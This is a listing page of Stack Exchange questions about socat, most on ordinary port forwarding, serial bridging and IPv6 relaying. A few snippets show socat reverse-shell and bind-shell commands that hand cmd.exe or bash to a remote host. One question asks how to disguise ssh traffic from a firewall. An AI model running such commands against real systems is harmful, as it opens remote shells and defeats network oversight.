Skip to main content
OverflowAI is here! AI power for your Stack Overflow for Teams knowledge community. Learn more

Questions tagged [socat]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
3 votes
1 answer
508 views

Unable to capture remote client data with nohup and socat

I need to capture the verbose and debug output of socat running on a remote server. I can achieve the above when running socat in the foreground: $ socat -x -d -d -d tcp-l:8080,bind=0.0.0.0,fork,...
Harry's user avatar
  • 851
0 votes
1 answer
59 views

pppd, docker, socat and permissions

We have an [Ubuntu 20.04] Docker image, used as part of a test system, in which I need to run pppd (to test a dial-up connection), where pppd is connected to the physical modem via a socat loop. My ...
Rob's user avatar
  • 153
-1 votes
1 answer
159 views

"Duplicate" serial device - read/write from 2 processes

I have a serial/rs485 converter to read/write from a Modbus device. I have the need to be able to read and write from 2 process. How can i "copy" the real device /dev/ttyUSB0 to specify in ...
Marc's user avatar
  • 371
2 votes
0 answers
46 views

Is it possible to trick a device into thinking a client is on the same subnet when it's actually virtualized?

I'm a software engineer with only very basic networking skills, so I apologize in advance if I fumble a bit with my explanation here. I have a physical device (specifically, an older model of this ...
me--'s user avatar
  • 325
1 vote
2 answers
583 views

Send Data Across NICs Using socat

I'm working on a project trying to develop a data diode for unidirectional transfer of data, and I'm hoping to use socat for some measurements. As a first step, I want to use socat to send data from ...
Peter Story's user avatar
3 votes
1 answer
575 views

socat accepting the connection but ignoring the bytes that get sent

I am trying connect to serial adapter over TCP using socat. This is something that is even covered in the official documentation and should (in theory) just work. I first start the server $ socat -d -...
tcurdt's user avatar
  • 141
0 votes
0 answers
808 views

Forwarding UDP to TCP with socat shows connection refused

I use this command as I googled, to create a TCP port and forward requests of this port to its UDP: socat tcp4-listen:1995,reuseaddr,fork UDP:nameserver:1994 And netstat -tulpn | grep 199 shows they'...
Saeed's user avatar
  • 423
1 vote
1 answer
162 views

Why does socat with rich terminal get killed with signal 9 on OSX?

I used the following command from this question to test out using socat to build a terminal with rich signals: socat file:'/dev/tty',raw,echo=0 exec:'bash -li',pty,stderr,setsid,sigint,sane On Linux, ...
merlin2011's user avatar
  • 2,035
0 votes
2 answers
632 views

socat TCP server bidirectional using sleep, non-interactive client returns without response. Server reports: I/O error

I have the following TCP server: socat TCP-LISTEN:10000,fork,reuseaddr SYSTEM:'read -r msg && sleep 3 && echo "OK"' When I execute (interactive mode): socat - TCP:localhost:...
lepe's user avatar
  • 738
1 vote
2 answers
8k views

TCP to virtual serial port with socat

I have a program (program 1) that has a TCP server listening on port 1234. I have confirmed that the server accepts connections and sends data with a utility str2str. Program 2, on the same machine, ...
sebinho's user avatar
  • 73
0 votes
1 answer
146 views

Can I proxy mumble traffic from IPv4 to IPv6 with socat?

I have an IPv6-only Mumble server at home (because I have no public IPv4). I want to make it accessible to IPv4-only users with a small VPN. The VPN has a public IPv4 that I can ping The VPN has IPv6 ...
Krateng's user avatar
  • 111
1 vote
1 answer
2k views

How to send and receive an UNIX datagram with socat?

I need to send a UNIX datagram to an open port in a running application with socat. When the application receives the datagram, it will answer back with another. I need to do this to get the resulting ...
Pablomagno's user avatar
1 vote
1 answer
2k views

Is it possible to simulate SSH remote port forwarding with socat alone?

Consider the following scenario. Server A has access to serverX:9000. Server A has access to serverB:7000. Server B is not able to directly access ports on Server A. Server B wants access to serverX:...
merlin2011's user avatar
  • 2,035
0 votes
1 answer
2k views

Socat download - what file to choose for installation? Windows

My antivirus program prohibits the download of netcat. So, I have chosen to download Socat through Winzip. However, I have no clue whatsoever of which file I should use to install the tool... Or if it'...
veakin's user avatar
  • 1
3 votes
1 answer
1k views

Filter stdin of process executed with socat client

My question is: is there a way to pre-process the stdin of a command executed via socat client. Context: I am launching a reverse shell with socat using this command: $> socat -T30 "openssl-...
Antoine Trouve's user avatar
1 vote
2 answers
3k views

socat sending from the wrong IP address

I am using socat to forward UDP traffic from one port to another with the following command: socat -T5 UDP4-LISTEN:12345,reuseaddr,fork UDP4:127.0.0.1:23456,bind=127.0.0.2,so-bindtodevice=lo Using ...
Joba's user avatar
  • 61
0 votes
1 answer
3k views

Increase buffer size for a specific socket on Linux

I am using CentOS7 and I have to increase the send buffer size (SO_SNDBUF) on a socket listening on a specific port. The application that has the port opened does not natively support this. Few things ...
Derrick Crash's user avatar
0 votes
1 answer
583 views

socat resetting USB port on open

I'm having an issue with socat, and it is probably just in my environment. I need to have a USB serial port redirected to a TCP port. I use the following and it works perfectly: socat TCP-LISTEN:4444,...
Andy's user avatar
  • 1
0 votes
0 answers
224 views

What's the best/easiest way to create a usb connection from Windows to Linux

I'm wondering what's the best way for me to setup a usb connection from Windows to a remote linux servers (Redhat)? I did some Googling and found socat but that was for Linux to Linux, any ideas? My ...
stduong2210's user avatar
0 votes
1 answer
1k views

How to forward UDP traffic from IPv4 to IPv6?

I have a local Server that only has an IPv6 Adress on which i want to host a Minecraft Server for my friends and myself. The Problem is that some of them don't have an v6 adress. I am currently using ...
Crazy Tech's user avatar
0 votes
1 answer
405 views

Is socat broken at the moment?

I attempted to run socat on Windows 10, however when executed it showed the following error: 0 [main] socat 5536 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer. Please report this problem ...
trallgorm's user avatar
  • 173
0 votes
0 answers
896 views

Using socat to bypass NAT

I`m facing the following problem: Lets call my machine the PC-1 and a remote machine which i want to access, the PC-2. PC-1 and PC-2 are in different networks, and both are behind a NAT. To achieve ...
Nathan's user avatar
  • 1
5 votes
2 answers
3k views

SOCAT on WINDOWS: why do I need pipes option for EXEC address?

Trying to create a reverse shell, I used this one my windows box: socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe' which failed with the following error: "The process tried to write to a nonexistent ...
Moha the almighty camel's user avatar
1 vote
2 answers
2k views

How to DNAT local packets

I have a program send UDP packets to 192.168.0.2:12345, receive packets at port 54321, and it uses 192.168.0.1 IP address. I want it send packets to 10.10.10.10 with same port, because this program ...
code farmer's user avatar
3 votes
1 answer
2k views

Using socat for SOCKET-SENDTO

I'm trying to use socat to send a raw packet to an ethernet interface, but I get "No such device or address". How should I be using socat? Usage: $ echo hi | sudo socat - SOCKET-SENDTO:17:3:0:...
s1037989's user avatar
  • 161
0 votes
1 answer
1k views

SSH Tunnel + Socat UDP + Unicast + Multicast

I am trying to communicate from a machine LOCAL (sitting at home) with a scientific instrument (SCIENTIFIC, IP=192.168.1.109) which sits in a remote network along with a raspberry (SERVER). SCIENTIFIC ...
Takis's user avatar
  • 1
2 votes
1 answer
2k views

Share ssh-agent socket or any other named pipe between windows 10 and cygwin

Cygwin emulates sockets by opening port and adding the port number and a "login" secret to a file instead of using windows named pipes. Further there seems to be no access to Windows named pipes from ...
till's user avatar
  • 244
3 votes
2 answers
9k views

SOCAT IPv4 to IPv6 Routing

i got a small issue/question by using SOCAT on my vServer. My Problem is that i just got CG-NAT DS-Lite ISP wich provides me a private IPv4 Internal ISP IP and an native public IPv6 Adress. That means ...
Daniel Schmidt's user avatar
2 votes
2 answers
11k views

Send UDP packet and listen for replies

I have a program with a Send an UDP packet to port xyz and I will reply with some UDP packets! interface. I've found out that I can send a UDP packet with echo <packetContent> | socat - udp:&...
Bowi's user avatar
  • 1,487
1 vote
1 answer
569 views

socat does not terminate the udp client when server side exit

server side: socat udp-l:2023,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty client side: socat -,raw,echo=0 udp:localhost:2023 When I exit the bash, the server side exit, but the ...
lamplet's user avatar
  • 13
4 votes
1 answer
2k views

How do I run a command for each UDP packet with socat?

I'm trying to print each arriving UDP packet. I'd like to use xxd to print the ascii contents as well as the raw data (as hex). So far I've used socat - udp4-listen:11255,reuseaddr,fork | xxd This ...
Jiri Kraml's user avatar
0 votes
1 answer
1k views

Using socat to access API behind proxy with client certificate

Is it possible, to use socat to access an API via an external proxy, where the API needs client authentication? Currently I only found out, how to access any website via proxy: TCP4-LISTEN:8443,...
T D's user avatar
  • 3
4 votes
1 answer
2k views

socat UDP IPv6 to IPv4 gateway results in lots of processes

I have an IPv4-only UDP application listening on port 624. I created an IPv6/IPv4 front-end with socat, listening on port 625. I can now use the server's IPv4 or IPv6 address to access the IPv4-only ...
Matt Muggeridge's user avatar
2 votes
1 answer
1k views

socat gives "Resource temporarily unavailable" on OS X High Sierra

I am trying to create a virtual local com-port that forwards everything to a remote computer via TCP with this command: sudo socat GOPEN:/dev/ptyp0,ignoreeof TCP:192.168.254.106:8080 2018/09/08 21:48:...
Daniele Testa's user avatar
0 votes
1 answer
112 views

Redirect only specific hosts requests, leaving a default for others

I have a machine with only port 80 open, there is already an http server on. I want to intercept any incoming traffic on port 80 and: if coming from ip1,ip2,ip3 redirect on another application ...
Phate's user avatar
  • 231
0 votes
1 answer
116 views

Unable to read warning during boot stage through socat for a virtual serial port

I am trying to deploy Docker image(converted to vmdk - Sata controller - vdi created) on VirtualBox. This is I am doing through automation, at this stage I have enabled serial port "host device" > "...
Chirag Dhyani's user avatar
0 votes
1 answer
2k views

Linux virtual tty

I created my own Long Range RF USB. [USB device] -> [Raspberry PI] -> [myTxApp] -> [RF device *(not WiFi)] -> [RF device] -> [Laptop] -> [myRxApp] -> [Virtual device] I tested it on USB Webcam, and ...
amy programmer's user avatar
6 votes
1 answer
9k views

How to make `nc` listen on a port without setting `SO_REUSEPORT`

I want to have a nc command listen on a TCP port so I did: nc -lv 8888 Then in another console I checked if another program trying to listen on the same port would get an Address already in use type ...
DWilches's user avatar
  • 295
7 votes
1 answer
9k views

forward a TCP connection with logging using socat

I'm trying to debug a service to which clients connect using TCP (in Linux). I cannot change either program (don't have source), and I cannot make use of mechanisms which snoop on the network layer (...
William's user avatar
  • 879
3 votes
0 answers
3k views

Bash 4.4.0 causes nano to fail with Received SIGHUP or SIGTERM

The problem is very specific, but I figured out the conditions for failure: system is: Linux 3.16.0-4-686-pae #1 SMP Debian 3.16.43-2+deb8u2 (2017-06-26) i686 GNU/Linux when i do the following set ...
Ulrik's user avatar
  • 251
0 votes
1 answer
6k views

SSH Tunnel + Socat UDP Forwarding + multiple clients

I have an Ubuntu machine running a server daemon (Unity3d unet game server in this case) that is designed to communicate with clients solely via UDP. The clients are on Windows 7 and Windows 10. Due ...
Alterscape's user avatar
1 vote
1 answer
2k views

Hide ssh traffic from firewall

Is it somehow (preferably easily) possible to hide ssh traffic from an package inspecting firewall. I thought of basically embedding the ssh session in a harmlessly looking TLS session. I found out ...
The Omitter's user avatar
15 votes
2 answers
22k views

How to keep socat alive using keepalive option

I have this socat command that is running fine, but when no data is transfered, it is dying after exactly 5 minutes and I don't understand why as I've set it up to send 100 keepalive every 10 seconds ...
Marc Salvetti's user avatar
4 votes
1 answer
1k views

How to get an ssh socks proxy on demand?

I know ssh provides a SOCKS proxy with -D. I wonder if it's possible to start such a proxy on demand, the moment a connection is made to a specified port (using the likes of socat and nc under the ...
Matei David's user avatar
0 votes
2 answers
3k views

Socat keeps waiting for input from stdin

I need to run this command on Mac OS X El Capitan. I found it on this guide about Eclipse Che. However, when I try to do that, socat keeps waiting for input from stdin. $ socat -d TCP-LISTEN:2376,...
Mario S's user avatar
  • 117
2 votes
1 answer
1k views

socat and rich terminal again

I start socat on a terminal by executing socat - UNIX-listen:/tmp/sock Then I go to another terminal and start a program (by python) in such a way, that it appears to run in the first terminal, here ...
ilya's user avatar
  • 135
1 vote
1 answer
6k views

Socat not closing tcp connection

I use socat 1.7.3.1-r0 and run following command on an alpine 3.3 linux server: socat -d -d -d PTY,link=/dev/ttyFOOBAR,echo=0,raw,unlink-close=0 TCP-LISTEN:7000,forever,reuseaddr Socat will listen ...
DarkLeafyGreen's user avatar
1 vote
0 answers
885 views

Linux server to send and receive from RS-232 using socat

I'm trying to bench test a configuration where a Linux server will send and receive RS-232 data from a Black Box RS-232 to Ethernet converter. I've followed this example. I've configured ser2net.conf ...
txcotrader's user avatar
0 votes
1 answer
1k views

How would one pipe from socat to sed to bc to xargs?

I have a server outputting some numbers, I'm reading them with socat, then using sed, I turn those numbers into some math equations, I run them with bc, then I need to pipe them into xargs. socat -u ...
user3397903's user avatar
1 vote
0 answers
2k views

How can I allow Windows RDP ports with socat?

192.168.0.21 is a Windows 8.1 PC running RDP. Using Linux I am running socat as below, but cannot connect on port 5900 to 3389. How do I make TCP and UDP traffic on 5900 go to 3389? socat TCP-LISTEN:...
YumYumYum's user avatar
  • 1,685